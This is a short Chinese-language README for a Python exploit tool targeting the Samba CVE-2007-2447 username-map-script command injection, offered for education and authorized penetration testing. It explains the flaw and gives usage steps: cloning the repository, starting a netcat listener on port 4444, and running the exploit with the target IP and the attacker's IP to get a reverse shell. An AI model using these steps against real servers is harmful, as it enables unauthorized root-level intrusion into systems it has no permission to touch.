Samba CVE-2007-2447 利用工具 (用户映射脚本)

此仓库包含一个 Python 脚本，用于自动化利用 Samba 服务器（版本 3.0.20 至 3.0.25rc3）中的 CVE-2007-2447 漏洞。该工具仅用于 教育 目的和授权的渗透测试。

📝 技术学术描述

“用户映射脚本” 漏洞是由于当 Samba 配置中启用了 username map script 选项时，未对用户名输入进行清理所致。当发送包含 shell 元字符（如反引号 ` 或子 shell $()）的用户名时，服务器会以服务权限（通常是 root）执行这些命令。

🚀 要求

• 操作系统： Kali Linux / Parrot OS（或任何安装了 smbclient 的 Linux 系统）。
• 语言： Python 3.x。
• 依赖项： smbclient（必须位于系统的 PATH 中）。

🛠️ 安装与使用

1. 克隆仓库：
   root@kitploit:~

   git clone [https://github.com/Daviddoctor/Samba-CVE-2007-2447-Exploit-Username-Map-Script-.git]
   cd samba-exploit-cve-2007-2447
   

2. 赋予执行权限 chmod +x exploit.py
3. 准备监听器（Kali Linux） nc -lvnp 4444
4. 运行利用工具 ./exploit.py <目标IP> <你的Kali IP> -p 4444